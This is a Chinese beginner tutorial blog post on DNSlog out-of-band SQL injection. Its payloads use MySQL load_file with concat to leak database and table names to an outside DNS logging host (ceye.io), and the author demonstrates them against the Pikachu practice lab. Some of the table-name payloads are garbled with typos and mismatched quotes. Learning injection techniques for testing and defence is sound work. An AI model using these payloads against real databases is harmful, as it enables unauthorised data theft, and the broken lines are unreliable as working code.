当前位置: 首页 > article >正文

【新手入门】SQL注入之DNSlog注入

一、DNSlog注入

上一节学习了在无回显情况下可通过盲注来进行SQL注入,这节学习无回显情况下的另一个注入方式------DNSlog注入。

①:注入,无回显,采用DNSlog注入手段通过注入一个A网站网址让目标主机触发网址的访问,将敏感信息携带到请求数据中,A网站记录下本次请求,在日志中就能看到目标主机的敏感数据了。

具备DNSlog日志记录功能的网站:
http://ceye.io/

http://www.dnslog.cn/

条件

1.需要mysq|用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,要在mysql配置项中开启secure file priv配置
2、目标mysql数据库服务器能够访问外网
借助load_file函数能够访问某个网址的特性,来进行DNSlog注入,注入语句如下

select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\(xx是某个网址)

发现有记录了,并且看到了pp这个数据,那么我们就可以继续构造获取敏感数据的sql语句了

select load_file(concat('//',(select database()),'.9fgiop.ceye.io/abc'))#    获取库名

二、注入

获取当前库名

①select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fgiop.ceye.io/abc')))

②select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.9fgiop.ceye.io\\abc')))

pikachu网站测试:抓包,添加注入语句

成功通过dns记录,带出当前数据库名称pikachu

获取表名

and (select load_file(concat('\lll',(select table_name from information_schema.tables where table_schema=database() limit0,1),".9fqiop.ceye.io\\abc')))

and (select load file(concat('\lll',(select table name from information _schema.tables where table_schema=database() limit1,1),'.9fqiop.ceye.io\\abc')))

and (select load_ file(concat("\lll',(select table_name from information_schema.tables where table_schema=database() limit2,1),".9fqiop.ceye.io\abc')))

修改limit后面的数字即可将每个表名都查出来


http://www.kler.cn/a/565718.html

相关文章:

  • JavaScript 系列之:垃圾回收机制
  • RabbitMQ 的介绍与使用
  • 降维攻击!PCA与随机投影优化高维KNN
  • DeepSeek 开源狂欢周(二)DeepEP深度技术解析 | 解锁 MoE 模型并行加速
  • 双向冒泡排序算法
  • 模型的在线量化和离线量化
  • 深入理解分布式系统中的关键概念:三阶段提交、补偿事务、消息队列与Saga事务模型及分布式ID生成方案
  • Qt 中实现两个 QTableView 同步高亮与滚动的方案
  • 每日学习Java之一万个为什么?[MySQL面试篇]
  • 内容中台实战指南:效能提升与体系构建
  • Laravel从入门到精通:开启高效开发之旅
  • spring的15个经典面试题
  • reCAPTCHA v3 实现笔记
  • 第三方应用程序接入DeepSeek服务的安全策略与实践
  • 【分布式锁通关指南 04】redis分布式锁的细节问题以及RedLock算法原理
  • 数据链路层 ARP 具体过程 ARP 欺骗
  • 【练习】【贪心】力扣45. 跳跃游戏 II
  • python秒杀活动支撑方案教程
  • 21-发糖果
  • .bash_profile一些笔记